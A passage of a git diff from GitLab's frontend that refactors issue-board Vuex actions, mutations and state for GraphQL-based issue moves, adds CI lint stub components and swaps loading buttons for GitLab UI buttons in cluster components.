+ .then(({ data }) => {
+ const { lists } = data[boardType]?.board;
+ const listIssues = formatListIssues(lists);
+ commit(types.RECEIVE_ISSUES_FOR_LIST_SUCCESS, { listIssues, listId });
+ })
+ .catch(() => commit(types.RECEIVE_ISSUES_FOR_LIST_FAILURE, listId));
},
fetchIssuesForAllLists: ({ state, commit }) => {
commit(types.REQUEST_ISSUES_FOR_ALL_LISTS);
- const { endpoints, boardType } = state;
+ const { endpoints, boardType, filterParams } = state;
const { fullPath, boardId } = endpoints;
- const query = boardType === BoardType.group ? groupListsIssuesQuery : projectListsIssuesQuery;
-
const variables = {
fullPath,
- boardId: `gid://gitlab/Board/${boardId}`,
+ boardId: fullBoardId(boardId),
+ filters: filterParams,
+ isGroup: boardType === BoardType.group,
+ isProject: boardType === BoardType.project,
};
return gqlClient
.query({
- query,
+ query: listsIssuesQuery,
variables,
})
.then(({ data }) => {
@@ -71,14 +253,56 @@ export default {
.catch(() => commit(types.RECEIVE_ISSUES_FOR_ALL_LISTS_FAILURE));
},
- moveIssue: () => {
- notImplemented();
+ moveIssue: (
+ { state, commit },
+ { issueId, issueIid, issuePath, fromListId, toListId, moveBeforeId, moveAfterId },
+ ) => {
+ const originalIssue = state.issues[issueId];
+ const fromList = state.issuesByListId[fromListId];
+ const originalIndex = fromList.indexOf(Number(issueId));
+ commit(types.MOVE_ISSUE, { originalIssue, fromListId, toListId, moveBeforeId, moveAfterId });
+
+ const { boardId } = state.endpoints;
+ const [fullProjectPath] = issuePath.split(/[#]/);
+
+ gqlClient
+ .mutate({
+ mutation: issueMoveListMutation,
+ variables: {
+ projectPath: fullProjectPath,
+ boardId: fullBoardId(boardId),
+ iid: issueIid,
+ fromListId: getIdFromGraphQLId(fromListId),
+ toListId: getIdFromGraphQLId(toListId),
+ moveBeforeId,
+ moveAfterId,
+ },
+ })
+ .then(({ data }) => {
+ if (data?.issueMoveList?.errors.length) {
+ commit(types.MOVE_ISSUE_FAILURE, { originalIssue, fromListId, toListId, originalIndex });
+ } else {
+ const issue = data.issueMoveList?.issue;
+ commit(types.MOVE_ISSUE_SUCCESS, { issue });
+ }
+ })
+ .catch(() =>
+ commit(types.MOVE_ISSUE_FAILURE, { originalIssue, fromListId, toListId, originalIndex }),
+ );
},
createNewIssue: () => {
notImplemented();
},
+ addListIssue: ({ commit }, { list, issue, position }) => {
+ commit(types.ADD_ISSUE_TO_LIST, { list, issue, position });
+ },
+
+ addListIssueFailure: ({ commit }, { list, issue }) => {
+ commit(types.ADD_ISSUE_TO_LIST_FAILURE, { list, issue });
+ },
+
fetchBacklog: () => {
notImplemented();
},
diff --git a/app/assets/javascripts/boards/stores/boards_store.js b/app/assets/javascripts/boards/stores/boards_store.js
index 30c71d64085..faf4f9ebfd3 100644
--- a/app/assets/javascripts/boards/stores/boards_store.js
+++ b/app/assets/javascripts/boards/stores/boards_store.js
@@ -15,6 +15,7 @@ import {
import { __ } from '~/locale';
import axios from '~/lib/utils/axios_utils';
import { mergeUrlParams } from '~/lib/utils/url_utility';
+import { getIdFromGraphQLId } from '~/graphql_shared/utils';
import eventHub from '../eventhub';
import { ListType } from '../constants';
import IssueProject from '../models/project';
@@ -303,7 +304,11 @@ const boardsStore = {
onNewListIssueResponse(list, issue, data) {
issue.refreshData(data);
- if (list.issuesSize > 1) {
+ if (
+ !gon.features.boardsWithSwimlanes &&
+ !gon.features.graphqlBoardLists &&
+ list.issues.length > 1
+ ) {
const moveBeforeId = list.issues[1].id;
this.moveIssue(issue.id, null, null, null, moveBeforeId);
}
@@ -513,6 +518,10 @@ const boardsStore = {
eventHub.$emit('updateTokens');
},
+ performSearch() {
+ eventHub.$emit('performSearch');
+ },
+
setListDetail(newList) {
this.detail.list = newList;
},
@@ -706,6 +715,10 @@ const boardsStore = {
},
newIssue(id, issue) {
+ if (typeof id === 'string') {
+ id = getIdFromGraphQLId(id);
+ }
+
return axios.post(this.generateIssuesPath(id), {
issue,
});
@@ -714,6 +727,10 @@ const boardsStore = {
newListIssue(list, issue) {
list.addIssue(issue, null, 0);
list.issuesSize += 1;
+ let listId = list.id;
+ if (typeof listId === 'string') {
+ listId = getIdFromGraphQLId(listId);
+ }
return this.newIssue(list.id, issue)
.then(res => res.data)
@@ -854,21 +871,6 @@ const boardsStore = {
},
refreshIssueData(issue, obj) {
- // issue.id = obj.id;
- // issue.iid = obj.iid;
- // issue.title = obj.title;
- // issue.confidential = obj.confidential;
- // issue.dueDate = obj.due_date || obj.dueDate;
- // issue.sidebarInfoEndpoint = obj.issue_sidebar_endpoint;
- // issue.referencePath = obj.reference_path || obj.referencePath;
- // issue.path = obj.real_path || obj.webUrl;
- // issue.toggleSubscriptionEndpoint = obj.toggle_subscription_endpoint;
- // issue.project_id = obj.project_id;
- // issue.timeEstimate = obj.time_estimate || obj.timeEstimate;
- // issue.assignableLabelsEndpoint = obj.assignable_labels_endpoint;
- // issue.blocked = obj.blocked;
- // issue.epic = obj.epic;
-
const convertedObj = convertObjectPropsToCamelCase(obj, {
dropKeys: ['issue_sidebar_endpoint', 'real_path', 'webUrl'],
});
diff --git a/app/assets/javascripts/boards/stores/getters.js b/app/assets/javascripts/boards/stores/getters.js
index 4de1576099d..3688476dc5f 100644
--- a/app/assets/javascripts/boards/stores/getters.js
+++ b/app/assets/javascripts/boards/stores/getters.js
@@ -1,3 +1,25 @@
+import { inactiveId } from '../constants';
+
export default {
getLabelToggleState: state => (state.isShowingLabels ? 'on' : 'off'),
+ isSidebarOpen: state => state.activeId !== inactiveId,
+ isSwimlanesOn: state => {
+ if (!gon?.features?.boardsWithSwimlanes) {
+ return false;
+ }
+
+ return state.isShowingEpicsSwimlanes;
+ },
+ getIssueById: state => id => {
+ return state.issues[id] || {};
+ },
+
+ getIssues: (state, getters) => listId => {
+ const listIssueIds = state.issuesByListId[listId] || [];
+ return listIssueIds.map(id => getters.getIssueById(id));
+ },
+
+ getActiveIssue: state => {
+ return state.issues[state.activeId] || {};
+ },
};
diff --git a/app/assets/javascripts/boards/stores/mutation_types.js b/app/assets/javascripts/boards/stores/mutation_types.js
index 0f96dc2e287..f0a283f6161 100644
--- a/app/assets/javascripts/boards/stores/mutation_types.js
+++ b/app/assets/javascripts/boards/stores/mutation_types.js
@@ -1,25 +1,34 @@
export const SET_INITIAL_BOARD_DATA = 'SET_INITIAL_BOARD_DATA';
+export const SET_FILTERS = 'SET_FILTERS';
+export const CREATE_LIST_SUCCESS = 'CREATE_LIST_SUCCESS';
+export const CREATE_LIST_FAILURE = 'CREATE_LIST_FAILURE';
+export const RECEIVE_BOARD_LISTS_SUCCESS = 'RECEIVE_BOARD_LISTS_SUCCESS';
+export const SHOW_PROMOTION_LIST = 'SHOW_PROMOTION_LIST';
export const REQUEST_ADD_LIST = 'REQUEST_ADD_LIST';
export const RECEIVE_ADD_LIST_SUCCESS = 'RECEIVE_ADD_LIST_SUCCESS';
export const RECEIVE_ADD_LIST_ERROR = 'RECEIVE_ADD_LIST_ERROR';
-export const REQUEST_UPDATE_LIST = 'REQUEST_UPDATE_LIST';
-export const RECEIVE_UPDATE_LIST_SUCCESS = 'RECEIVE_UPDATE_LIST_SUCCESS';
-export const RECEIVE_UPDATE_LIST_ERROR = 'RECEIVE_UPDATE_LIST_ERROR';
+export const MOVE_LIST = 'MOVE_LIST';
+export const UPDATE_LIST_FAILURE = 'UPDATE_LIST_FAILURE';
export const REQUEST_REMOVE_LIST = 'REQUEST_REMOVE_LIST';
export const RECEIVE_REMOVE_LIST_SUCCESS = 'RECEIVE_REMOVE_LIST_SUCCESS';
export const RECEIVE_REMOVE_LIST_ERROR = 'RECEIVE_REMOVE_LIST_ERROR';
export const REQUEST_ISSUES_FOR_ALL_LISTS = 'REQUEST_ISSUES_FOR_ALL_LISTS';
+export const RECEIVE_ISSUES_FOR_LIST_FAILURE = 'RECEIVE_ISSUES_FOR_LIST_FAILURE';
+export const RECEIVE_ISSUES_FOR_LIST_SUCCESS = 'RECEIVE_ISSUES_FOR_LIST_SUCCESS';
export const RECEIVE_ISSUES_FOR_ALL_LISTS_SUCCESS = 'RECEIVE_ISSUES_FOR_ALL_LISTS_SUCCESS';
export const RECEIVE_ISSUES_FOR_ALL_LISTS_FAILURE = 'RECEIVE_ISSUES_FOR_ALL_LISTS_FAILURE';
export const REQUEST_ADD_ISSUE = 'REQUEST_ADD_ISSUE';
export const RECEIVE_ADD_ISSUE_SUCCESS = 'RECEIVE_ADD_ISSUE_SUCCESS';
export const RECEIVE_ADD_ISSUE_ERROR = 'RECEIVE_ADD_ISSUE_ERROR';
-export const REQUEST_MOVE_ISSUE = 'REQUEST_MOVE_ISSUE';
-export const RECEIVE_MOVE_ISSUE_SUCCESS = 'RECEIVE_MOVE_ISSUE_SUCCESS';
-export const RECEIVE_MOVE_ISSUE_ERROR = 'RECEIVE_MOVE_ISSUE_ERROR';
+export const MOVE_ISSUE = 'MOVE_ISSUE';
+export const MOVE_ISSUE_SUCCESS = 'MOVE_ISSUE_SUCCESS';
+export const MOVE_ISSUE_FAILURE = 'MOVE_ISSUE_FAILURE';
export const REQUEST_UPDATE_ISSUE = 'REQUEST_UPDATE_ISSUE';
export const RECEIVE_UPDATE_ISSUE_SUCCESS = 'RECEIVE_UPDATE_ISSUE_SUCCESS';
export const RECEIVE_UPDATE_ISSUE_ERROR = 'RECEIVE_UPDATE_ISSUE_ERROR';
+export const ADD_ISSUE_TO_LIST = 'ADD_ISSUE_TO_LIST';
+export const ADD_ISSUE_TO_LIST_FAILURE = 'ADD_ISSUE_TO_LIST_FAILURE';
export const SET_CURRENT_PAGE = 'SET_CURRENT_PAGE';
export const TOGGLE_EMPTY_STATE = 'TOGGLE_EMPTY_STATE';
export const SET_ACTIVE_ID = 'SET_ACTIVE_ID';
+export const UPDATE_ISSUE_BY_ID = 'UPDATE_ISSUE_BY_ID';
diff --git a/app/assets/javascripts/boards/stores/mutations.js b/app/assets/javascripts/boards/stores/mutations.js
index ca9b911ce5b..faeb3e25a71 100644
--- a/app/assets/javascripts/boards/stores/mutations.js
+++ b/app/assets/javascripts/boards/stores/mutations.js
@@ -1,19 +1,55 @@
+import Vue from 'vue';
+import { sortBy, pull } from 'lodash';
+import { formatIssue, moveIssueListHelper } from '../boards_util';
import * as mutationTypes from './mutation_types';
+import { __ } from '~/locale';
+import { getIdFromGraphQLId } from '~/graphql_shared/utils';
const notImplemented = () => {
/* eslint-disable-next-line @gitlab/require-i18n-strings */
throw new Error('Not implemented!');
};
+const removeIssueFromList = (state, listId, issueId) => {
+ Vue.set(state.issuesByListId, listId, pull(state.issuesByListId[listId], issueId));
+};
+
+const addIssueToList = ({ state, listId, issueId, moveBeforeId, moveAfterId, atIndex }) => {
+ const listIssues = state.issuesByListId[listId];
+ let newIndex = atIndex || 0;
+ if (moveBeforeId) {
+ newIndex = listIssues.indexOf(moveBeforeId) + 1;
+ } else if (moveAfterId) {
+ newIndex = listIssues.indexOf(moveAfterId);
+ }
+ listIssues.splice(newIndex, 0, issueId);
+ Vue.set(state.issuesByListId, listId, listIssues);
+};
+
export default {
- [mutationTypes.SET_INITIAL_BOARD_DATA]: (state, data) => {
- const { boardType, ...endpoints } = data;
+ [mutationTypes.SET_INITIAL_BOARD_DATA](state, data) {
+ const { boardType, disabled, showPromotion, ...endpoints } = data;
state.endpoints = endpoints;
state.boardType = boardType;
+ state.disabled = disabled;
+ state.showPromotion = showPromotion;
},
- [mutationTypes.SET_ACTIVE_ID](state, id) {
+ [mutationTypes.RECEIVE_BOARD_LISTS_SUCCESS]: (state, lists) => {
+ state.boardLists = lists;
+ },
+
+ [mutationTypes.SET_ACTIVE_ID](state, { id, sidebarType }) {
state.activeId = id;
+ state.sidebarType = sidebarType;
+ },
+
+ [mutationTypes.SET_FILTERS](state, filterParams) {
+ state.filterParams = filterParams;
+ },
+
+ [mutationTypes.CREATE_LIST_FAILURE]: state => {
+ state.error = __('An error occurred while creating the list. Please try again.');
},
[mutationTypes.REQUEST_ADD_LIST]: () => {
@@ -28,16 +64,17 @@ export default {
notImplemented();
},
- [mutationTypes.REQUEST_UPDATE_LIST]: () => {
- notImplemented();
- },
-
- [mutationTypes.RECEIVE_UPDATE_LIST_SUCCESS]: () => {
- notImplemented();
+ [mutationTypes.MOVE_LIST]: (state, { movedList, listAtNewIndex }) => {
+ const { boardLists } = state;
+ const movedListIndex = state.boardLists.findIndex(l => l.id === movedList.id);
+ Vue.set(boardLists, movedListIndex, movedList);
+ Vue.set(boardLists, movedListIndex.position + 1, listAtNewIndex);
+ Vue.set(state, 'boardLists', sortBy(boardLists, 'position'));
},
- [mutationTypes.RECEIVE_UPDATE_LIST_ERROR]: () => {
- notImplemented();
+ [mutationTypes.UPDATE_LIST_FAILURE]: (state, backupList) => {
+ state.error = __('An error occurred while updating the list. Please try again.');
+ Vue.set(state, 'boardLists', backupList);
},
[mutationTypes.REQUEST_REMOVE_LIST]: () => {
@@ -52,17 +89,41 @@ export default {
notImplemented();
},
+ [mutationTypes.RECEIVE_ISSUES_FOR_LIST_SUCCESS]: (state, { listIssues, listId }) => {
+ const { listData, issues } = listIssues;
+ Vue.set(state, 'issues', { ...state.issues, ...issues });
+ Vue.set(state.issuesByListId, listId, listData[listId]);
+ const listIndex = state.boardLists.findIndex(l => l.id === listId);
+ Vue.set(state.boardLists[listIndex], 'loading', false);
+ },
+
+ [mutationTypes.RECEIVE_ISSUES_FOR_LIST_FAILURE]: (state, listId) => {
+ state.error = __('An error occurred while fetching the board issues. Please reload the page.');
+ const listIndex = state.boardLists.findIndex(l => l.id === listId);
+ Vue.set(state.boardLists[listIndex], 'loading', false);
+ },
+
[mutationTypes.REQUEST_ISSUES_FOR_ALL_LISTS]: state => {
state.isLoadingIssues = true;
},
- [mutationTypes.RECEIVE_ISSUES_FOR_ALL_LISTS_SUCCESS]: (state, listIssues) => {
- state.issuesByListId = listIssues;
+ [mutationTypes.RECEIVE_ISSUES_FOR_ALL_LISTS_SUCCESS]: (state, { listData, issues }) => {
+ state.issuesByListId = listData;
+ state.issues = issues;
state.isLoadingIssues = false;
},
+ [mutationTypes.UPDATE_ISSUE_BY_ID]: (state, { issueId, prop, value }) => {
+ if (!state.issues[issueId]) {
+ /* eslint-disable-next-line @gitlab/require-i18n-strings */
+ throw new Error('No issue found.');
+ }
+
+ Vue.set(state.issues[issueId], prop, value);
+ },
+
[mutationTypes.RECEIVE_ISSUES_FOR_ALL_LISTS_FAILURE]: state => {
- state.listIssueFetchFailure = true;
+ state.error = __('An error occurred while fetching the board issues. Please reload the page.');
state.isLoadingIssues = false;
},
@@ -78,16 +139,38 @@ export default {
notImplemented();
},
- [mutationTypes.REQUEST_MOVE_ISSUE]: () => {
- notImplemented();
+ [mutationTypes.MOVE_ISSUE]: (
+ state,
+ { originalIssue, fromListId, toListId, moveBeforeId, moveAfterId },
+ ) => {
+ const fromList = state.boardLists.find(l => l.id === fromListId);
+ const toList = state.boardLists.find(l => l.id === toListId);
+
+ const issue = moveIssueListHelper(originalIssue, fromList, toList);
+ Vue.set(state.issues, issue.id, issue);
+
+ removeIssueFromList(state, fromListId, issue.id);
+ addIssueToList({ state, listId: toListId, issueId: issue.id, moveBeforeId, moveAfterId });
},
- [mutationTypes.RECEIVE_MOVE_ISSUE_SUCCESS]: () => {
- notImplemented();
+ [mutationTypes.MOVE_ISSUE_SUCCESS]: (state, { issue }) => {
+ const issueId = getIdFromGraphQLId(issue.id);
+ Vue.set(state.issues, issueId, formatIssue({ ...issue, id: issueId }));
},
- [mutationTypes.RECEIVE_MOVE_ISSUE_ERROR]: () => {
- notImplemented();
+ [mutationTypes.MOVE_ISSUE_FAILURE]: (
+ state,
+ { originalIssue, fromListId, toListId, originalIndex },
+ ) => {
+ state.error = __('An error occurred while moving the issue. Please try again.');
+ Vue.set(state.issues, originalIssue.id, originalIssue);
+ removeIssueFromList(state, toListId, originalIssue.id);
+ addIssueToList({
+ state,
+ listId: fromListId,
+ issueId: originalIssue.id,
+ atIndex: originalIndex,
+ });
},
[mutationTypes.REQUEST_UPDATE_ISSUE]: () => {
@@ -102,6 +185,18 @@ export default {
notImplemented();
},
+ [mutationTypes.ADD_ISSUE_TO_LIST]: (state, { list, issue, position }) => {
+ const listIssues = state.issuesByListId[list.id];
+ listIssues.splice(position, 0, issue.id);
+ Vue.set(state.issuesByListId, list.id, listIssues);
+ Vue.set(state.issues, issue.id, issue);
+ },
+
+ [mutationTypes.ADD_ISSUE_TO_LIST_FAILURE]: (state, { list, issue }) => {
+ state.error = __('An error occurred while creating the issue. Please try again.');
+ removeIssueFromList(state, list.id, issue.id);
+ },
+
[mutationTypes.SET_CURRENT_PAGE]: () => {
notImplemented();
},
diff --git a/app/assets/javascripts/boards/stores/state.js b/app/assets/javascripts/boards/stores/state.js
index cb6930774ed..be937d68c6c 100644
--- a/app/assets/javascripts/boards/stores/state.js
+++ b/app/assets/javascripts/boards/stores/state.js
@@ -3,9 +3,17 @@ import { inactiveId } from '~/boards/constants';
export default () => ({
endpoints: {},
boardType: null,
+ disabled: false,
+ showPromotion: false,
isShowingLabels: true,
activeId: inactiveId,
+ sidebarType: '',
+ boardLists: [],
issuesByListId: {},
+ issues: {},
isLoadingIssues: false,
- listIssueFetchFailure: false,
+ filterParams: {},
+ error: undefined,
+ // TODO: remove after ce/ee split of board_content.vue
+ isShowingEpicsSwimlanes: false,
});
diff --git a/app/assets/javascripts/branches/ajax_loading_spinner.js b/app/assets/javascripts/branches/ajax_loading_spinner.js
new file mode 100644
index 00000000000..79f4f919f3d
--- /dev/null
+++ b/app/assets/javascripts/branches/ajax_loading_spinner.js
@@ -0,0 +1,31 @@
+import $ from 'jquery';
+
+export default class AjaxLoadingSpinner {
+ static init() {
+ const $elements = $('.js-ajax-loading-spinner');
+ $elements.on('ajax:beforeSend', AjaxLoadingSpinner.ajaxBeforeSend);
+ }
+
+ static ajaxBeforeSend(e) {
+ const button = e.target;
+ const newButton = document.createElement('button');
+ newButton.classList.add('btn', 'btn-default', 'disabled', 'gl-button');
+ newButton.setAttribute('disabled', 'disabled');
+
+ const spinner = document.createElement('span');
+ spinner.classList.add('align-text-bottom', 'gl-spinner', 'gl-spinner-sm', 'gl-spinner-orange');
+ newButton.appendChild(spinner);
+
+ button.classList.add('hidden');
+ button.parentNode.insertBefore(newButton, button.nextSibling);
+
+ $(button).one('ajax:error', () => {
+ newButton.remove();
+ button.classList.remove('hidden');
+ });
+
+ $(button).one('ajax:success', () => {
+ $(button).off('ajax:beforeSend', AjaxLoadingSpinner.ajaxBeforeSend);
+ });
+ }
+}
diff --git a/app/assets/javascripts/ci_lint/components/ci_lint.vue b/app/assets/javascripts/ci_lint/components/ci_lint.vue
new file mode 100644
index 00000000000..135d02e4f76
--- /dev/null
+++ b/app/assets/javascripts/ci_lint/components/ci_lint.vue
@@ -0,0 +1,14 @@
+<script>
+export default {
+ props: {
+ endpoint: {
+ type: String,
+ required: true,
+ },
+ },
+};
+</script>
+
+<template
+ ><div></div
+></template>
diff --git a/app/assets/javascripts/ci_lint/components/ci_lint_results.vue b/app/assets/javascripts/ci_lint/components/ci_lint_results.vue
new file mode 100644
index 00000000000..9fd1bd30c49
--- /dev/null
+++ b/app/assets/javascripts/ci_lint/components/ci_lint_results.vue
@@ -0,0 +1,9 @@
+<script>
+export default {
+ props: {},
+};
+</script>
+
+<template
+ ><div></div
+></template>
diff --git a/app/assets/javascripts/ci_lint/index.js b/app/assets/javascripts/ci_lint/index.js
new file mode 100644
index 00000000000..ed2cf1fe714
--- /dev/null
+++ b/app/assets/javascripts/ci_lint/index.js
@@ -0,0 +1,18 @@
+import Vue from 'vue';
+import CILint from './components/ci_lint.vue';
+
+export default (containerId = '#js-ci-lint') => {
+ const containerEl = document.querySelector(containerId);
+ const { endpoint } = containerEl.dataset;
+
+ return new Vue({
+ el: containerEl,
+ render(createElement) {
+ return createElement(CILint, {
+ props: {
+ endpoint,
+ },
+ });
+ },
+ });
+};
diff --git a/app/assets/javascripts/ci_variable_list/ci_variable_list.js b/app/assets/javascripts/ci_variable_list/ci_variable_list.js
index 5c79f245f6d..cb1935c863d 100644
--- a/app/assets/javascripts/ci_variable_list/ci_variable_list.js
+++ b/app/assets/javascripts/ci_variable_list/ci_variable_list.js
@@ -53,7 +53,7 @@ export default class VariableList {
},
environment_scope: {
// We can't use a `.js-` class here because
- // gl_dropdown replaces the <input> and doesn't copy over the class
+ // deprecated_jquery_dropdown replaces the <input> and doesn't copy over the class
// See https://gitlab.com/gitlab-org/gitlab-foss/issues/42458
selector: `input[name="${this.formField}[variables_attributes][][environment_scope]"]`,
default: '*',
diff --git a/app/assets/javascripts/ci_variable_list/components/ci_environments_dropdown.vue b/app/assets/javascripts/ci_variable_list/components/ci_environments_dropdown.vue
index d22fef27964..0e09ae108ea 100644
--- a/app/assets/javascripts/ci_variable_list/components/ci_environments_dropdown.vue
+++ b/app/assets/javascripts/ci_variable_list/components/ci_environments_dropdown.vue
@@ -67,7 +67,7 @@ export default {
</script>
<template>
<gl-deprecated-dropdown :text="value">
- <gl-search-box-by-type v-model.trim="searchTerm" class="m-2" />
+ <gl-search-box-by-type v-model.trim="searchTerm" class="gl-m-3" />
<gl-deprecated-dropdown-item
v-for="environment in filteredResults"
:key="environment"
diff --git a/app/assets/javascripts/ci_variable_list/components/ci_variable_table.vue b/app/assets/javascripts/ci_variable_list/components/ci_variable_table.vue
index 018704bff74..501c82b419e 100644
--- a/app/assets/javascripts/ci_variable_list/components/ci_variable_table.vue
+++ b/app/assets/javascripts/ci_variable_list/components/ci_variable_table.vue
@@ -46,6 +46,7 @@ export default {
{
key: 'actions',
label: '',
+ tdClass: 'text-right',
customStyle: { width: '35px' },
},
],
diff --git a/app/assets/javascripts/ci_variable_list/constants.js b/app/assets/javascripts/ci_variable_list/constants.js
index ef304c7ccee..564e1d01242 100644
--- a/app/assets/javascripts/ci_variable_list/constants.js
+++ b/app/assets/javascripts/ci_variable_list/constants.js
@@ -1,6 +1,5 @@
import { __ } from '~/locale';
-// eslint-disable import/prefer-default-export
export const ADD_CI_VARIABLE_MODAL_ID = 'add-ci-variable';
export const displayText = {
diff --git a/app/assets/javascripts/ci_variable_list/store/getters.js b/app/assets/javascripts/ci_variable_list/store/getters.js
index 14b728302f9..619ad54cad6 100644
--- a/app/assets/javascripts/ci_variable_list/store/getters.js
+++ b/app/assets/javascripts/ci_variable_list/store/getters.js
@@ -1,6 +1,3 @@
-/* eslint-disable import/prefer-default-export */
-// Disabling import/prefer-default-export can be
-// removed once a second getter is added to this file
import { uniq } from 'lodash';
export const joinedEnvironments = state => {
diff --git a/app/assets/javascripts/clusters/clusters_bundle.js b/app/assets/javascripts/clusters/clusters_bundle.js
index 92517203972..a75646db162 100644
--- a/app/assets/javascripts/clusters/clusters_bundle.js
+++ b/app/assets/javascripts/clusters/clusters_bundle.js
@@ -237,7 +237,7 @@ export default class Clusters {
}
addBannerCloseHandler(el, status) {
- el.querySelector('.js-close-banner').addEventListener('click', () => {
+ el.querySelector('.js-close').addEventListener('click', () => {
el.classList.add('hidden');
this.setBannerDismissedState(status, true);
});
diff --git a/app/assets/javascripts/clusters/components/application_row.vue b/app/assets/javascripts/clusters/components/application_row.vue
index c86db28515f..412260da958 100644
--- a/app/assets/javascripts/clusters/components/application_row.vue
+++ b/app/assets/javascripts/clusters/components/application_row.vue
@@ -1,9 +1,8 @@
<script>
-import { GlLink, GlModalDirective, GlSprintf } from '@gitlab/ui';
+import { GlLink, GlModalDirective, GlSprintf, GlButton, GlAlert } from '@gitlab/ui';
import { s__, __, sprintf } from '~/locale';
import eventHub from '../event_hub';
import identicon from '../../vue_shared/components/identicon.vue';
-import loadingButton from '../../vue_shared/components/loading_button.vue';
import UninstallApplicationButton from './uninstall_application_button.vue';
import UninstallApplicationConfirmationModal from './uninstall_application_confirmation_modal.vue';
import UpdateApplicationConfirmationModal from './update_application_confirmation_modal.vue';
@@ -12,9 +11,10 @@ import { APPLICATION_STATUS, ELASTIC_STACK } from '../constants';
export default {
components: {
- loadingButton,
+ GlButton,
identicon,
GlLink,
+ GlAlert,
GlSprintf,
UninstallApplicationButton,
UninstallApplicationConfirmationModal,
@@ -382,24 +382,28 @@ export default {
</template>
</div>
- <div
+ <gl-alert
v-if="updateFailed && !isUpdating"
- class="bs-callout bs-callout-danger cluster-application-banner mt-2 mb-0 js-cluster-application-update-details"
+ variant="danger"
+ :dismissible="false"
+ class="gl-mt-3 gl-mb-0 js-cluster-application-update-details"
>
{{ updateFailureDescription }}
- </div>
+ </gl-alert>
<template v-if="updateAvailable || updateFailed || isUpdating">
<template v-if="updatingNeedsConfirmation">
- <loading-button
+ <gl-button
v-gl-modal-directive="updateModalId"
- class="btn btn-primary js-cluster-application-update-button mt-2"
+ class="js-cluster-application-update-button mt-2"
+ variant="info"
+ category="primary"
:loading="isUpdating"
:disabled="isUpdating"
- :label="updateButtonLabel"
data-qa-selector="update_button_with_confirmation"
:data-qa-application="id"
- />
-
+ >
+ {{ updateButtonLabel }}
+ </gl-button>
<update-application-confirmation-modal
:application="id"
:application-title="title"
@@ -407,16 +411,19 @@ export default {
/>
</template>
- <loading-button
+ <gl-button
v-else
- class="btn btn-primary js-cluster-application-update-button mt-2"
+ class="js-cluster-application-update-button mt-2"
+ variant="info"
+ category="primary"
:loading="isUpdating"
:disabled="isUpdating"
- :label="updateButtonLabel"
data-qa-selector="update_button"
:data-qa-application="id"
@click="updateConfirmed"
- />
+ >
+ {{ updateButtonLabel }}
+ </gl-button>
</template>
</div>
</div>
@@ -431,16 +438,18 @@ export default {
}}</a>
</div>
<div class="btn-group table-action-buttons">
- <loading-button
+ <gl-button
v-if="displayInstallButton"
:loading="installButtonLoading"
:disabled="disabled || installButtonDisabled"
- :label="installButtonLabel"
class="js-cluster-application-install-button"
+ variant="default"
data-qa-selector="install_button"
:data-qa-application="id"
@click="installClicked"
- />
+ >
+ {{ installButtonLabel }}
+ </gl-button>
<uninstall-application-button
v-if="displayUninstallButton"
v-gl-modal-directive="uninstallModalId"
diff --git a/app/assets/javascripts/clusters/components/knative_domain_editor.vue b/app/assets/javascripts/clusters/components/knative_domain_editor.vue
index 1236d2a46c9..2617ea0bdea 100644
--- a/app/assets/javascripts/clusters/components/knative_domain_editor.vue
+++ b/app/assets/javascripts/clusters/components/knative_domain_editor.vue
@@ -6,8 +6,8 @@ import {
GlLoadingIcon,
GlSearchBoxByType,
GlSprintf,
+ GlButton,
} from '@gitlab/ui';
-import LoadingButton from '~/vue_shared/components/loading_button.vue';
import ClipboardButton from '../../vue_shared/components/clipboard_button.vue';
import { __, s__ } from '~/locale';
@@ -17,7 +17,7 @@ const { UPDATING, UNINSTALLING } = APPLICATION_STATUS;
export default {
components: {
- LoadingButton,
+ GlButton,
ClipboardButton,
GlLoadingIcon,
GlDeprecatedDropdown,
@@ -130,7 +130,7 @@ export default {
<gl-search-box-by-type
v-model.trim="searchQuery"
:placeholder="s__('ClusterIntegration|Search domains')"
- class="m-2"
+ class="gl-m-3"
/>
<gl-deprecated-dropdown-item
v-for="domain in filteredDomains"
@@ -215,13 +215,16 @@ export default {
}}
</p>
- <loading-button
- class="btn-success js-knative-save-domain-button mt-3 ml-3"
+ <gl-button
+ class="js-knative-save-domain-button gl-mt-5 gl-ml-5"
+ variant="success"
+ category="primary"
:loading="saving"
:disabled="saveButtonDisabled"
- :label="saveButtonLabel"
@click="$emit('save')"
- />
+ >
+ {{ saveButtonLabel }}
+ </gl-button>
</template>
</div>
</template>
diff --git a/app/assets/javascripts/clusters/components/new_cluster.vue b/app/assets/javascripts/clusters/components/new_cluster.vue
new file mode 100644
index 00000000000..2e74ad073c5
--- /dev/null
+++ b/app/assets/javascripts/clusters/components/new_cluster.vue
@@ -0,0 +1,34 @@
+<script>
+import { GlLink, GlSprintf } from '@gitlab/ui';
+import { mapState } from 'vuex';
+import { s__ } from '~/locale';
+
+export default {
+ i18n: {
+ title: s__('ClusterIntegration|Enter the details for your Kubernetes cluster'),
+ information: s__(
+ 'ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes',
+ ),
+ },
+ components: {
+ GlLink,
+ GlSprintf,
+ },
+ computed: {
+ ...mapState(['clusterConnectHelpPath']),
+ },
+};
+</script>
+
+<template>
+ <div>
+ <h4>{{ $options.i18n.title }}</h4>
+ <p>
+ <gl-sprintf :message="$options.i18n.information">
+ <template #link="{ content }">
+ <gl-link :href="clusterConnectHelpPath" target="_blank">{{ content }}</gl-link>
+ </template>
+ </gl-sprintf>
+ </p>
+ </div>
+</template>
diff --git a/app/assets/javascripts/clusters/components/remove_cluster_confirmation.vue b/app/assets/javascripts/clusters/components/remove_cluster_confirmation.vue
index 3e3b102f0aa..c157b04b4f5 100644
--- a/app/assets/javascripts/clusters/components/remove_cluster_confirmation.vue
+++ b/app/assets/javascripts/clusters/components/remove_cluster_confirmation.vue
@@ -1,6 +1,7 @@
<script>
+/* eslint-disable vue/no-v-html */
import { escape } from 'lodash';
-import { GlModal, GlButton, GlDeprecatedButton, GlFormInput, GlSprintf } from '@gitlab/ui';
+import { GlModal, GlButton, GlFormInput, GlSprintf } from '@gitlab/ui';
import SplitButton from '~/vue_shared/components/split_button.vue';
import { s__, sprintf } from '~/locale';
import csrf from '~/lib/utils/csrf';
@@ -28,7 +29,6 @@ export default {
SplitButton,
GlModal,
GlButton,
- GlDeprecatedButton,
GlFormInput,
GlSprintf,
},
@@ -174,24 +174,31 @@ export default {
}}</span>
</template>
<template #modal-footer>
- <gl-deprecated-button variant="secondary" @click="handleCancel">{{
- s__('Cancel')
- }}</gl-deprecated-button>
